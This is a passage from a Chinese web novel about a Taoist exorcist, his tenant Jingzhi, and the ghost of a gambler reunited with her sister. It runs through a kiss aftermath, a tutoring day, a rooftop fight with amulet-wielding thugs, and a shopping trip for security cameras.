朱九抬起头,脸上的羞臊还未褪去,他转头抿了抿嘴,有些傲娇的说: “您别说话,我……做错事,自当受到惩罚。” 【祖师爷:……是她先引诱你的,不是吗?】 朱九一脸正色,直视着发光的神像。 “一魄而已,她没有神智的,是我错了。” 【祖师爷:你也知道是一魄,她事后不会记得的,为何不……】 “您别说了!!” 朱九就算失了礼也要打断祖师爷的话。 他的耳朵简直快红得滴血,朱九用力垂下头,恨不得挖开地砖把自己埋了。 “她怎么会突然离魂了?” 【祖师爷:还不是那块朽木,你朝楼 下看看,再不去,我看那块小朽木,也要被他整无了。】 “哼!我去看看!” 朱九咬着牙,气得连楼梯都来不及走,冲出窗台,脚下踏过突出的窗沿,借力下落。 一股带着檀香味的急风袭来,朱八只来得及睁开眼睛,就被一巴掌掀翻在地。 阿祥不知为何,突然撅起嘴,立起上半身,仅差一点,就要亲到朱九侧脸。 朱九突然就想起刚刚在楼上的半推半就的亲密。 他气不打一处来,将还未收口的食指伤口用力点到阿祥脑门,以血亲之力,强行将阿祥出走的魂魄拉回身体里。 “怎么了怎……二,二叔。” 见到阿祥清醒过来,朱九冷着脸站了起来。 “你们两个都给我到祖师爷面前罚跪!跪到明天,再抄五十遍家规交给我!” …… 过了一会儿,见到直接跪在地上的朱九,阿祥赶紧把膝盖下的柔软跪垫给他挪过去。 “二叔,您真不用跪,是我们用了朱家禁术,您又没有错。” 朱九没有接过跪垫,也没有接话,依旧跪得笔直。 是他趁人之危了,这一跪,是他应得的。 …… 朱九跪了两个小时后,终于站了起来,回了房。 他辗转反侧,实在难以入睡。 半夜救护车都开到楼下了,他这才记起来还有自动拨打电话这茬。 今晚不知道说了多少句对不起的朱九,心累得很。 手上的表终于是被他解了下来,放进抽屉里。 直到天蒙蒙亮,隔壁传来动静,他这才从床上坐了起来。 朱九竖起耳朵听着。 她下床了。 她出门了。 她……过来敲门了。 她,她还记得吗?? 朱九此刻非常庆幸自己没有带手表,不然肯定又是一顿滴滴乱叫。 他走过去开门,还没说话呢,静之就对他深深鞠了一躬。 “二叔对不起,昨天我是不是给你添麻烦了?” 她的记忆只止于她摇晃着红酒杯,呸,粉罐子的那一刻,就彻底断片了。 一觉醒来,鼻子被上了药,身上衣服也乱了,朱九脖子上还有吻痕。 嗯? 嗯嗯嗯??? 吻痕? 她昨天强行对他那什么了??? 静之瞪大着双眼看着朱九脖间的草莓,满脸不可置信。 接着又是一个深深的鞠躬,道歉声恨不得响彻整个别墅。 “二叔对不起!!!是我错了!我现在就回去!!” 说完捂着脸,手表一通滴滴乱响,穿着她的小猫拖鞋,啪啪啪冲到楼下去了。 朱九:……这都是我该说的词啊…… “诶,你不吃个早饭再……” 阿祥还没说完话,就看到静之犹如一阵龙卷风一般,夺门而出。 听到自楼梯口传来的另一脚步声,他回头一看。 “……二叔,早。” 怎么回事? 他二叔看起来也不太对劲儿的样子。 第265章 姐妹相聚 说了要好好生活,静之尽管头一天宿醉,刚刚尬得想死,她依旧跑回去洗漱完,然后踏上了上班的公交车。 脸上的红药水很难洗掉,她索性就戴了个口罩。 今日是周天,来的学生几乎坐满了整个教室,楼下休息室也坐着三三两两交谈的家长。 她礼貌朝他们点了点头,在楼下打卡后,朝楼上走去。 不知情的家长开始议论纷纷。 敏姨见状,赶紧拿出一张静之第一天在黑板上写的字帖递给她们传阅。 没办法。 家长都在意教师的实力,不给点实际的,怕他们会退课。 “哇,写得真好。” “是啊,龙飞凤舞的,看得我也想学了。” 旁边的人笑着打趣她一下,“要不你也买几节课试试,反正你每天送完你儿子过来,坐在这儿也没事干。” 刚刚夸静之的人,思索了一下,然后点了点头,“也行,陶冶一下情操嘛。” 再顺便去听听静之老师的课,看看她乖仔能不能听懂。 打趣她的那个人倒震惊上了。 “我只是开玩笑的,你还真去啊?” 那位想买课的妈妈此时已经站起来,打开褐色的皮包朝敏姨付钱了。 她回头朝打趣她的人笑了笑,“要不你也买两节课试试?” 那个人面露犹豫,敏姨眼里闪过一丝精明,“第一节课可以免费试听,您两位要不要一起上楼先试听一节课,有想法的话,再下楼买课就行。” 她之所以这么说,是基于她对静之的信任。 上次静之讲了一天课,她好几次偷偷上来看过,确实挺好的。 虽然课上直接小测有些不是人,但这个方法她总觉得会有效的。 人嘛,不逼自己一把,怎么会知道自己能有速学的本领呢。 “那……也行。” 两个潜在的客户,被敏姨直接带到静之的班级,安排在最后一桌旁听。 站在课桌过道的静之,脚步微微一顿,朝她们颔首微笑。 虽戴着口罩,但一双笑眼让人忍不住心生好感。 一节课下来,两个潜在客户直接变成忠实粉丝,她们带着自家孩子来到楼下柜台前,直接买了半年静之的课。 这些家长都有家长之间的圈子。 一传十,不过半天时间,下午上课的时候,教室里便多了六七个陌生的中年叔叔阿姨。 静之一个e人,除了面对朱九的时候会害羞,对着其他人,她倒是没什么好害怕的。 人越多,她越高兴。 毕竟越多人买她的课,她除了课时费,也是有提成可以收取的,这是她跟敏姨第一天就谈好的薪资条件。 …… 讲了一天课,静之口干舌燥,于是旋开保温杯,边喝水,边朝那些热情的家长挥手告别。 人都走光后,她背着包,双手还抱着比之前厚上不少的学生作业,朝楼下走去。 “敏姨,没想到今天这么多人,你那边有没有多余的袋子,我的包装不下这么多纸。” 静之嘭的一声,将成堆的作业放在前台。 “你等会。”敏姨转过身,打开前台后面的柜门,翻找出一个买衣服剩下的塑料袋,“只有这个了,是不好看,但胜在结实,还挺大的,你先用着吧。” 静之接过撑开,将作业一股脑堆了进去。 “正正好,那我先走喽,明天又是我上班,我得赶紧回去改作业啦!” 今天一天,多了七八个买课的,还一买就买半年,甚至有两个买一年的。 望着这个宛如招财猫的金疙瘩,敏姨笑得见眉不见眼,“好好好,路上小心呀。” 静之双手抱着袋子,刚想用身子推开玻璃门,身后就伸过来一只手,帮她打开了门。 “谢谢啊。” “……豆豆?你怎么还没回去?” 静之有些疑惑。 刚刚她被那些家长们扯住聊了快半个小时,她还以为隔壁班的豆豆早走了呢。 “你……你跟我来一下。” 豆豆警惕的四处张望一下,然后把静之扯进了一个无人的小巷子里。 “你干嘛?” 豆豆抓住静之的胳膊,眼圈渐渐泛了红。 “昨晚阿祥入我梦了,我不知道他用的什么方法,不过他知道一些只有我姐姐知道的事情。” “他说的乃猜的犯罪文件,我也找到了 。” 抓住她手臂的手渐渐加重,静之却并未挣扎。 因为豆豆情绪崩溃了。 蓄满眼眶的泪水,终于沿着她苍白的脸颊滚落在地。 “静之姐,你老实告诉我,我姐姐是不是已经死了?” 长痛不如短痛。 静之红着眼圈,就算再不忍,也依旧点了点头。 “是真的,蔗……少少确实去世了。” “她的魂魄被阿祥的二叔收到坛子里去了,他说她死的时候,身穿红衣,怨气极重,已化身成厉鬼,得供香供足七七四十九天,才能投胎。” “我想去见见她。”豆豆眼泪如同决堤了的河坝,止也止不住,“静之姐,你带我回去吧,最近老有人跟踪我。” “……也行。” 说是叫静之带她回去,结果还是豆豆开车载静之回家。 在车上时,豆豆边擦眼泪边开车,看得静之的心一揪一揪的。 开没一小段路,豆豆就被赶下驾驶座,换成静之开车。 “呜呜呜……静之姐,我就这么一个姐姐,我成孤儿了。” 豆豆在副驾驶暴哭出声,眼都哭肿了。 静之一手把着方向盘,一手摸索着中间放着的纸盒,将纸递给她。 “哭吧,哭出来你会好受点。” 她虽然也很想哭,但依照目前的状况看,两个人都抱头痛哭的话,就回不了家了。 豆豆说有人跟踪她,这跟踪她的人,不知道是阿祥派去的保镖,还是乃猜派去的喽啰,她不敢赌。 静之当过警察,反侦察能力还是有的。 一路上确实甩掉好几辆行踪可疑的汽车回了一号别墅。 朱九依旧坐在门口晒太阳。 一看到她直奔这儿,少见的失了从容,站起来刚想往里走,就被椅子腿绊了一下。 “二叔,你……还在生气呀?” 不然怎么见到她就想跑。 看着背对着她,站如松的背影,静之诚恳低头道歉。 “我昨天可能吃错东西了,若是对您有什么不尊敬的行为,还请您原谅。” 朱九拳头渐渐攥紧,想转过身向她道歉,但脸上的热烫明晃晃的告诉他,他现在肯定脸红得不行了。 不能回头,不然他面子往哪儿搁。 而且她恢复理智后,对他还真不是一般的客气。 面上的热度稍稍降了一点,局促到不知道该放哪儿的手渐渐收紧。 “没事,我没生气。” “你们先聊,我想上去看看。”豆豆撇下一句话,就如一阵风一般,径直朝右侧的楼梯冲了上去。 “她……” 静之抱着袋子上前两步,走到朱九身侧,望着豆豆急切的背影解释道: “她是少少的亲妹妹,二叔,你能给她开一下眼吗?她只是想看看她姐姐。” 朱九的余光瞥了她一眼,看着她戴口罩的样子,不由眉头一皱。 “见一面倒是可以,将魂魄带回她家是不行的。” “还有你,伤口没好就戴口罩,闷住的话容易发炎的。” 听到这话,静之赶紧放下袋子,将口罩掀开,然后从随身背着的包包里掏出小镜子一照。 “呦,还真是,有点红。” “上来。”朱九边朝楼上走去,边跟她说:“我帮你擦药。” 静之跟在他后头,不甚在意的笑了笑: “没事啦,我……” 她回去运行一下灵力就好了,擦药又要红鼻子哦,明天可是还要上课呢。 但是这些话可不能告诉朱九,这辈子她要紧紧捂住她的小马甲。 “你药给我,我可以照镜子自己擦的。” 朱九脚步微微一顿,随后若无其事的接着往上走,“好,我拿给你。” …… 到了三楼后,豆豆果然就跪坐在神台前,此时她正抱着坛子哭得上气不接下气,嘴里一声声的叫着姐姐。 坛口上的衰运符昨天已经被阿祥揭了去,那两个衰仔昨天跪了一宿,今天被朱九关在屋里抄了一整天的家训,两个人乖得很。 所以朱九也不怕他们乱来了,只是在坛口贴了普通的驱邪符。 此时符纸皱皱巴巴的丢在地上,少少的鬼魂就坐在豆豆旁边,她的头轻轻靠在豆豆肩上,满脸悲伤。 看到朱九上来,她下意识想回罐子里,余光一看到她妹眼都快哭瞎了,少少实在不忍。 于是硬着头皮上前一步,刚想说什么,朱九举手示意她闭嘴。 然后越过她来到豆豆面前,哭到头脑发懵的豆豆一看到眼前的老式布鞋,她立马放下坛子,紧紧揪住朱九的裤腿。 “道长,求求你,让我见一见我姐吧!” 刚想给他跪下,朱九脚尖一个用力,将她落下的双膝上提。 “闭上眼。” 豆豆还懵懵的,静之走过去轻轻拍了拍她的肩膀,“他这是答应你了,还不快闭上眼。” “噢噢,好。” 朱九在她额前做了几个手势,然后从神坛上面拿了两片榕树叶一抹她的眼。 “好了。” 少少紧捏着手,伸头过来看慢慢睁眼的妹妹,“豆,豆豆?看得见……” “姐!” 话还没说完,少少就被豆豆死死搂紧怀里,“呜呜呜,姐!你不是说很快就从泰国回来了吗?还要给我带礼物。” “我不想要礼物了,你活过来好不好?!” 少少跟着红了眼睛,她轻轻拍着豆豆的背安抚她。 “傻妹妹,死了就是死了,你要接受这个事实,带着我的那份,好好活下去,别伤心了。” “阿祥把事情跟你说了没有啊?” …… 两姐妹在那儿互诉衷肠,静之被朱九叫到房间里。 他打开抽屉,把伤药跟棉签递给她。 静之接过东西,眼神却落在抽屉侧边的智能表上。 “二叔,您这个表怎么不戴了?” 朱九抿了抿唇,将抽屉缓缓闭上。 “不习惯用这种。”他亮了亮左手戴了许久的表,“我还是适合戴这样老式的。” “嗯,二叔手好看,戴什么都好看!”静之曲起左手,看看自己的表,笑着说: “我倒觉得这个挺实用的,运动的时候带着正好啊。” “你看,它还可以记录步数呢。” 静之表盘向外,现给朱九看。 步数: 走这么多路,她今天应该累一天了吧。 心率:93 好像…跳的有些快呢。 是因为刚刚上楼了? 还是因为外头两姐妹的哭泣影响了她的心情? “你用得习惯就好。” “咔嗒!”神台侧边的阳台处突然传来一声异响。 静之敏锐的听到不远处有几个粗重的呼吸声。 “有人爬楼了!”她压低声音说。 二叔眉头一压,眼神一厉,立马冲了出去。 这些人还没完没了了? 刚一出房间,就看到豆豆不知为何瘫软在地,少少突然惨叫一声,嘭的往后弹,重重砸在墙上。 静之大步冲过去,接住从墙上掉下来的少少,朝阳台处看去。 四五个人形成包围的姿态,从阳台圈了进来。 中间那个人还一直将手里的佛牌对准她怀里的少少,而另外一个人则把手里的麻醉枪对准她。 看着豆豆腿上的麻醉针,静之一口银牙差点咬碎。 你爹的,欺负完我闺蜜,还欺负我的闺蜜的妹妹?! 不把你头打歪我就不姓林!! 第266章 尸油 静之扶起倒在地上的少少,刚想给那个坏蛋一脚,已经知道她身份的朱九怕她被佛牌伤到,一个闪身来到她跟前。 瞅着朱九对付那几个人绰绰有余,静之赶紧把豆豆也抱到神台桌旁。 “锵!” 她猛的转头,发现这群人这回居然配备上武器了,有拿西瓜刀的,有拿匕首的。 无人带枪,也算是不幸中的万幸。 朱九这时已经摘下墙上的剑与之对战,还抽空朝她丢过来另一把剑。 静之左手稳稳接住,右手拿住剑鞘挡住敌人劈下来的一击。 一群麻瓜,她以前可是进过少林寺,身手还经过林九调教的。 刚想狠狠教训这群人一顿,朱九跟心里有气似的,一个人群殴对面五个。 她还没怎么出招呢,那五个麻瓜全给朱九干趴下了。 一地血腥,却无一人重伤。 朱九刀刀避过他们的致命部位,净往他们肉厚的位置剌。 他才不管他们嚎得震天响,反手拿来绳子,跟吃屎都赶不上热乎,迟迟才上楼的朱八和阿祥把这几人捆了起来。 才刚忙活完,空气中突然出现一个男人的虚影。 此人扎着红色发带,身材健硕,结实胸大肌堪比奶妈,脖间却突兀的挂着婴儿拳头大的佛珠。 这人…这副装扮,是妖僧吧? 朱九从他能够穿越虚空,幻化身影的招数中嗅到一丝不寻常。 这人不知修的什么歪魔邪道,连虚影里都萦绕着一丝黑气。 见到手下被捆成粽子,他也丝毫不在意,趾高气昂,态度狂得很。 “哼!你们最好把高豆豆交出来,否则我就对高少少的尸体不客气了。” “你变态!”静之气急败坏。 朱九将她掩至身后,假装毫不在意的笑了笑。 “一个尸体而已,人死以后,尘归尘,土归土,用这威胁我们,是你们彻底没后手了吗?” 妈的,还真是这样。 乃猜怕引起警察注意不敢用枪。 又舍不得价钱去请一些身手好点的杀手,光靠他一个法师哪里斗得过这么多人呀。 法师暗自咬牙。 面上失去刚刚的桀鹜,忌惮的看着朱九。 “那你想怎么样?” 找到他家就算了,朱九就怕豆豆跟静之出去上班会再遭遇什么意外,于是他提出了个解决方法。 “三天以后,让乃猜跟阿祥赌一把,如果我们赢了,你就把高少少的尸体送回来,如果输了,我们就把乃猜要的东西给你们。” 法师:“……行。” …… 虚影渐渐淡化,阿祥刚刚报了警,这会儿别墅外头响起了阵阵警笛声。 五个社会边角料被一窝蜂压上了警车,朱八跟着去做笔录。 阿祥一听说豆豆晕过去了,担心的跟在朱九后头来到三楼。 豆豆睡在静之之前住的房间。 此时静之正坐在床边,一脸严肃给她把着脉。 “怎么样啊?” 阿祥慌得手都在抖。 朱九则是看着面前的静之陷入沉思。 她也会中医? 倒是与他爱好一致。 “没什么问题,等药效过去后,她自然就会醒的。” “就是……我怕那群坏人会在麻药里混合其他东西,以防万一,最好还是带她抽血化验一下比较好。” 阿祥立刻掏出手机,“我马上叫救护车过来。” 朱九右手摁在阿祥的手机键盘上,“别让她去医院,人多眼杂,我怕会出意外。” 少少坐在床头,一个劲儿揉着豆豆的手,“那怎么办?你们一定要看好我妹妹啊!” “别揉了,你是鬼,越揉她越冷的。”静之皱着眉看着躺在床上不省人事的豆豆,把被子扯过来给她盖上,抬头问站在她身边的朱九: “那咋整,她脉象看起来挺正常,我就是怕出什么意外。” 朱九垂下眸子思虑一番后,掏出他的手机给他的私人医生打了个电话。 …… “他那儿能检测吗?”静之问。 朱九点了点头,“他是市区权威的内科专家,就住在这附近,他家有设备可以检测。” 阿祥抹了一把汗,呼出一口气坐在床尾嘀咕道:“我都忘了还有这茬了,还是二叔你记性好。” 少少还是担心她妹妹,忍不住问道: “靠不靠谱啊?” 阿祥靠着墙,把腿盘上来坐着,向她解释: “靠谱,王医生是我二叔大学时期的同学,他主修西医,跟我二叔是二十几年的老朋友了,人品也信得过的,你就放心吧。” 少少:“哦。” “对了,还有这个,你能不能看出是哪里来的?” 静之给朱九递过去刚刚捡到的佛牌。 她一只灵猫都能看见佛牌上冒出的黑气,朱九当然也能。 他接过仔细端详了一番,佛牌的正面闪耀着金色的光芒,上面精心雕刻着佛祖的圣像,背面则镌刻着神秘的梵文。 在一圈梵文包裹着的正中央,放置着一颗空心玻璃球,其中暗黄色的液体在朱九的翻动下缓缓流动着。 经过一番打斗后,此时天色渐渐暗了下来。 朱九正对着灯打量的时候,静之把脸伸了过来,好奇的看着,“二叔,这里头装的啥呀?” 朱九感觉左手痒痒的,微微低头一看,由于她的凑近,她的白色衬衫衣角正轻轻搭在他的手背上。 他心跳霎时漏了一拍,左手不着痕迹的背到身后,手背轻轻蹭着他后腰的衣服布料。 “二叔?” 她清灵的双瞳布满疑惑。 朱九压下心底那些不明的悸动,与她解释: “尸油。” “啊??” 朱九看着那尸油里隐隐的红线,表情凝重,“还是刚死之人的尸油,里头混进去的鲜血才不会凝固。” “而且它既能对付得了厉鬼,说明这佛牌不简单,你们都别碰了。” 朱九一时之间,不知道该拿它怎么办,于是只能拿着它来到神像前放下。 刚放到贡案上,一道金光就从神像里打了出来,直接将佛牌表面的玻璃击碎。 【祖师爷:朱九你拿的什么脏东西,别什么东西都往我跟前放,我嫌晦气。】 好嘛,怎么静之一来,它老显灵呢? 朱九还没来得及解释,只见那滴到桌上的尸油突然跟烧开了一样,冒起股股黑烟,还散发出极其腥臭的味道。 不过几秒,升腾起的黑烟里出现了一张狰狞的骷髅鬼脸。 刚呼啸一声,又是一道金光闪过。 宛如金色的雷电窜入云层,鬼脸被打出一声惨叫。 【祖师爷:还叫?!难听死了。】 股股金光顿时飞出,盘旋在正欲逃离散开的黑气外头,只要它一冒头,金光立马电它。 那尸油其实是由一尸两命的孕妇身上提取的,怨气极浓,那孕妇魂魄被困于此,早已变成了至阴至毒的鬼王。 她万万没想到,刚一出世,便倒霉的打起了巅峰赛。 黑气面积越变越小,臭气弥散。 见祖师爷跟猫捉老鼠似的,把那鬼脸电得厉齿紧咬下唇,不敢吱声的怂样,静之彻底放下心来,环着胸,用肩膀怼了怼身侧的朱九。 “二叔,我看这东西有你家祖师爷在,就不用担心了,咱们出去买个监控和报警器吧,不然他们要是半夜搞偷袭,咱们没发现的话,就全完了。” 也是。 “阿祥,你看着点豆豆,醒来的话,她估计一时半会起不来,你给她喂点温开水。” “哦!!” 听见阿祥兴奋的回应,朱九轻啧一声,回头补充一句: “不许越界。” 少少猛拍胸脯,“你们快去吧,没有那个佛牌,就算有人来也打不过我的。” 她看着坐在床脚的小胖子邪笑一声,“还有他,他要是敢动我妹妹一下,我就……” 见到朱九回头,她讪笑一下,吞下“整死他”三个字。 第267章 王的男人 别墅片区的生活设施不是一般的完善。 就在静之以为他们要开车出去市中心采购的时候,朱九却带着她绕到别墅区中心的商场里。 这里看着十分高大上,导购员也极有分寸。 一听到二人的来意后,便直接把他们带到了专门卖监控器和报警器的架子面前,给他们挑了几款适合他们用的东西供他们参考后,就退下了。 环境好,服务好,当然价格也十分美丽。 望着价格牌上的那几个零,静之自闭了。 “会不会太贵啊?” 静之边翻看着监控器,边小声在朱九耳边建议,“要不我们去市中心看看?” 不能太大声,不然被不远处看着他们的导购员听到,多不光彩啊。 朱九耳蜗一阵发痒,他接过她手中的监控器放进购物车里,平静的朝导购员说: “每一样来两份。” 静之瞬间明了,趁着导购员到仓库里拿货,她赶紧对朱九说一句: “我那儿不用装的,他们跟我又没仇。” 朱九朝她笑了笑,“既然你租了我的地方,我应该保证你的安全。” “不管他们跟你有没有仇,这些东西,确实是需要装一下的,就算是保护一下我的个人财产安全吧。” 个人财产安全? 也是,他别墅里也就她这个人最穷酸了。 既然他都这么讲了,那她还有什么好说的。 静之卷着发尾,有些不好意思的说: “你这儿住宿条件太好了,要不…你给我涨点租金吧,不然我良心不安。” 朱九答非所问:“你会中医?” 静之点头:“略懂。” 这回她是真的在谦虚了。 她的医术虽然还达不到老中医那种炉火纯青的程度,不过要出师的话,也是绰绰有余的了。 朱九其实纠结的很。 内心呼唤着接近她,靠近她。 脑子里却在对他说:“她还念着死去的前男友,朱九你别傻了。” 这会儿,他站在过道处,陷入了沉思。 静之有些摸不着头脑。 不是在说房租的事儿吗?怎么突然问到了中医? 难道…他病了? 他握住小推车把手的左手手腕突然被她微凉的手指掰过来。 朱九下意识使力抽回手。 抽到一半,静之不容质疑大力扯了过去,将他的手臂朝上横向靠在推车手把上,三指立刻号上他的脉。 朱九一句“你干什么?”还没说出口,就又立刻把手抽了回来,然后竖起一掌阻止她。 “不用给我号脉,我没病。” 此时他的脉肯定跳得很快。 给她号出来的话,她不得嘲笑他了。 朱九推着车朝前走,脚步有些快,目光略过架子上的东西,像是在逛超市,其实右手已经捂上左手的脉门。 静之跟在他身旁亦步亦趋,伸长了脖子,歪过头用望闻问切的望,打量他的脸色。 朱九忍不住斜她一眼,迟来的那句“你干什么?”终于是问出了口。 “你是不是哪里不舒服?”她皱着眉。 哪里不舒服? 心里不舒服。 但是怎么可能讲给她听。 朱九本想找个理由接近她,一想到她的前男友,他就心口堵堵的,心里就算有再多的想法,也放弃了。 朱九:“没事,我刚刚就是随便问问,你别放在心上,会中医很好。” “房租就保持原样,我不差你那点钱。” 好啊,壕啊! 没想到阿九居然还有这般不小气的时候。 静之:“……哦,有不舒服的话,你可以叫我,我就在隔壁,至少比那个王医生近。” “…………”朱九垂下眸子看了看购物车里的东西,快步走向另外一个货架。 静之:他什么意思? 怎么不回答,是不打算找她了吗? 不信任她? 果然还是更信任王医生吗? 王医生男的女的? 是男的的话,难道朱九提前被老王掰弯了? 现在朱九是王的男人了??? 静之扼腕,脑子里一秒无数个猜想浮出。 好你个老王! 浮想联翩的静之不再跟他并排走,落后他一步跟着他,嘴巴都快嘟到天上去 了,看着他圆圆的后脑勺,突然很想给他一个头槌。 朱九挑了一个智能锁后,走向收银台。 “今天太晚了,明天早上,麻烦早点派人过来安装,地址是**跟**。” 朱九掏出银行卡付款,边跟工作人员交代着。 身后的人跟了他一路,突然没声儿了,他有些疑惑的回头看了一眼。 谁能想到他付个钱还能这么突然的回头。 静之来不及变换神色,那副“你这个负心汉”的表情直接映入朱九眼帘。 他疑惑。 她则直接僵在两米外。 环住胸的手尴尬的垂落下来,不过一秒又举起来挠挠脸,“……看我干嘛,人家把卡还给你了。” 收银员记录好地址后,把东西装好袋放回购物车里,把卡双手呈上,微笑朝朱九说: “您收好,您的工单已提交,明早八点半师傅会上门为您安装。” 朱九:她怎么突然这副表情? 他接过卡,推着购物车走出收银台,站在过道上等她。 “过来。” 叫她过去就过去,那她岂不是很没面子。 静之慢吞吞的走出来,刚到他身边,她立刻弯腰提起购物车里一半的东西,转身快步朝门口走去。 朱九:是不是他没回答那个问题,她生气了? 看着她毛都快炸起来的样子,不知道为什么突然想到那天晚上被他抱在怀里的小白猫。 “……呵。” 人形生气的她都这么可爱了,猫猫炸毛的样子,一定很可爱。 走在前头的静之耳朵微动,还笑? 她都这么生气了,他还笑? 她决定了,她要单方面生他一晚上的气! 来的时候,两人好歹像个朋友,偶尔会聊几句。 回程的时候,静之恨不得多长条腿抡回去。 朱九看着前头那个越走越快的人,眸子渐渐黯淡了下来。 他也不知道刚刚为什么不回答那个问题。 或许是因为觉得找理由接近她心思不纯,也或许是想断了自己的念想。 总之,她现在好像对他观感不佳了。 这样也好。 长痛不如短痛,没有开始,就不会太痛苦了吧? 朱九没有加快脚步跟上她,只是远远坠在她后头,浅褐色的眸子不自觉的盯着道路尽头那抹白色看。 小白点停了下来。 “朱九你快点,我想早点回去看看豆豆!” 她……好像没有对他用敬语了。 朱九的心猛的跳动一下。 是因为生气了不记得用,还是因为什么别的? 朱九突然又笑了。 这回是笑自己,人家是要回去看豆豆,他激动什么。 而且从什么时候开始,他的情绪会因为她简单的一句话变得如此容易起伏了? 朱九加快脚步,待走近到能看清她脸上表情时,他慢了下来。 静之缓下步子走着。 她该死的又心软了。 生气不超三分钟,便不舍得晾着他。 可朱九没有跟上来,始终保持在她身后几步。 静之:她刚刚自顾自走了,所以他生气了?那他可真小气。 朱九:……走在她后面也好,只要她还在他视线范围内就行。 一路无言,两人各怀心思回了别墅。 豆豆果然醒了,少少正喂她喝着水,阿祥不知道为什么,捂着脸一脸委屈的站在房间一角。 静之迟疑了一下:“他…怎么了?” 少少气得咬牙切齿,“我刚刚魂体不稳,出去吃了点香油蜡烛,一回来就看到他对我妹妹毛手毛脚的!” 听到这话,跟在静之后面的朱九眉毛立马倒竖起来瞪向阿祥,“我出去前怎么跟你说的?” “去外面跪下!” 阿祥还想解释,但看他二叔脸黑成煤球的样子,还是闭上了嘴,缩着脖子走了出去。 静之对此不做评价,阿祥是有些油嘴滑舌在身上的,不好好调教的话,很容易变成史公子那样儿。 她坐在豆豆旁边,摸了摸她的额头。 “王医生来过了吗?” 少少点头,“你们去太久了,他抽完血就走了,说明天检测完会打电话跟道长告知结果。” “那就好。” 静之一脸怜惜的看着豆豆,她今天刚 见到她姐姐的鬼魂,本就非常难过了,还让她遭遇了这种事。 “你……” 静之欲言又止,突然想起她如今也是寄人篱下,于是转头看向朱九。 却直接与朱九偷看她的视线对上。 他赶紧收回目光,装作只是偶然,背着手一本正经说: “豆豆你别回去了,在我这……” 刚说到一半,他又想起外头跪着的那个臭小子,话锋一转,朱九看向静之: “她能否跟你住几天,待在这里的话,怕是不太合适,等把她姐姐的尸体接回来就不用怕他们了。” 少少有些不好意思的捏着身下的被子,“那个……谢谢道长,难为您还为我肉身的贞操担忧上了。” 朱九摇了摇头,“无关贞操,我是怕他们对你的肉身施法,从而影响到你的魂体,所以你的身体,是一定要拿回来的。” “……哦。” 静之站了起来,“没问题,反正都是你的地盘。” 她掀开被子,一手穿过豆豆的膝弯,一手把住她的腋下,把娇小的豆豆抱了起来。 豆豆还从来没被这般抱过,她下意识用双手圈住静之的脖颈,被打麻药导致她脖子有些无力,头软软的搭在静之的胸前,默默红了脸。 “静之姐,你力气真大。” “呵,是你太瘦了,看我这几天把你养得壮壮。” “女孩子要这么壮干什么?” “女性也要有女性的力量,平时不一定要用,但是一定要有,不然别人欺负你怎么办?” “呵呵,静之姐,你摸到我胳肢窝了,好痒~” “哦,那我挪挪。” …… “咔嚓。”桌角粉碎性骨折。 少少看着被朱九掰下一角的书桌,缩了缩脖子,讪笑一声。 “嘿嘿,这桌子,质量也不怎么样嘛。” “我,我……我也去隔壁住好了,你放心,晚上我会自己进坛子里,不会影响到她们的。” 说完不等朱九反应过来,她自己跑出去拿了坛子就从阳台处飘了下去,落到一号别墅门口等她们。 朱九松开手里的木头渣渣,缓步走到阳台,看着从他别墅走出来,有说有笑的两人一鬼,脸上神色莫辨。 路灯下她明媚的笑容,比对上他时,多了几分放松和肆意,这才是她的本来面目吧? 他捂住自己的心问自己,想好要放弃的,何必如此生气? …… 静之直接把豆豆抱到她的卧室床上。 “晚上你跟我睡哦,这床大得很,睡咱们两个绰绰有余啦。” “黄姨今天下班了,明天叫她再收拾一间房出来给你住。” 豆豆绞着手指,“我,我都可以。” 豆豆这姑娘不是挺活泼的吗? 怎么对上她就变得这么害羞了? 静之走到衣柜前,拿出一套全新的睡衣和毛巾放在床头,然后半蹲下来跟她说: “你先缓一缓,等会有力气再去洗漱,卫生间的柜子里,有全新的牙膏牙刷,等会你自己拿哦。” 豆豆:她好像她姐姐呀,老是把东西给她准备得这么周全。 豆豆默默红了眼眶,不行,因为这种事情哭太丢脸了。 她迅速把脸别向墙里侧,“我,我姐去哪儿了?” 静之站了起来,走到衣柜前取了自己的睡衣,“我叫她帮我把我的东西拿过来,今晚可是又有一场大仗要打,我先去洗澡喽~” 豆豆突然反应过来,“我也有作业要改,不过没你的多,我可以帮你一起改!” 静之从浴室里伸出个头,“不用啦,你都这样了,就好好休息吧,乖。” 第268章 她是个穷鬼 怕豆豆闷,静之洗完澡出来,特意把窗户开大一些。 少少老早就过来了,此时瘫在床脚的沙发上,抬起一手指了指飘窗上的袋子。 “都拿过来了,有你的,也有我妹的。” 她环视着四周,突然两手交叉叠在脑后,一脚踩在沙发边缘,翘起二郎腿抖着,“豆啊,这里比咱俩的别墅也差不了多少嘛,看来你不会受苦喽。” 别墅? “你家也住别墅啊?”静之瞪大眼睛。 “姐~”豆豆嗔了一声。 “叫我干什么,道上谁不知道我是港区大名鼎鼎的女赌王高少少!买别墅的钱都没有,那都是些什么人?” “姐!”豆豆突然冷了脸,语气也变了。 她小心翼翼看了一眼静之,却发现她心大得很,此时正坐在飘窗旁,边吃薯片边改作业。 屋内突然静下来,她才抬起头,茫然的看她俩一眼,“咋滴了,cue到我了?” 没办法,不装傻不行,她还真买不起别墅,但是承认的话又太丢面儿了,嗐。 “没事没事,你忙你的。”豆豆赶紧说。 然后朝少少做了个闭紧嘴巴的手势。 少少指指静之,然后掏了掏口袋,把内衬翻出来,耸耸肩,对豆豆做了个口型。 【她穷啊?】 “啊啊啊!” 静之余光早就偷瞄到两姐妹的小动作了,她脚下一蹬,直接跃到沙发上,骑着她的腰,掐住她的脖子摇晃。 “臭蔗姑!说好了好闺蜜一辈子,苟富贵勿相忘!你还是忘了我了!你还嘲笑我穷?!我要掐死你!” 豆豆本想过去拉开她们,她的眼神却被对面别墅黑着脸站在窗前的朱九吸引住了…… “我本来就死了,你掐呗。”少少任静之掐着摇,她皱着眉努力回忆。 “咱们以前认识吗?豆啊,咱们以前见过她吗?” 豆豆收回眼神,从床上下来,脚尖尝试用力踩向地面。 还行,有点软,但能走了。 她扶着墙挪着步子来到飘窗前,坐到静之刚刚坐的位置对面,“没见过。” 桌上几份已改好的作业上头的署名十分眼熟,她转了过来确认一下,“静之姐,你改我的了?我自己来吧。” 静之太大力,把少少的头摇掉了,看着满地找头的少少,她悻悻站起来走了过去。 “我来就行,你手估计还没多少力气,你歇着吧。” 豆豆不甘心,尝试性拿起一根笔握住,结果因为手软,手腕开始不受控的轻颤。 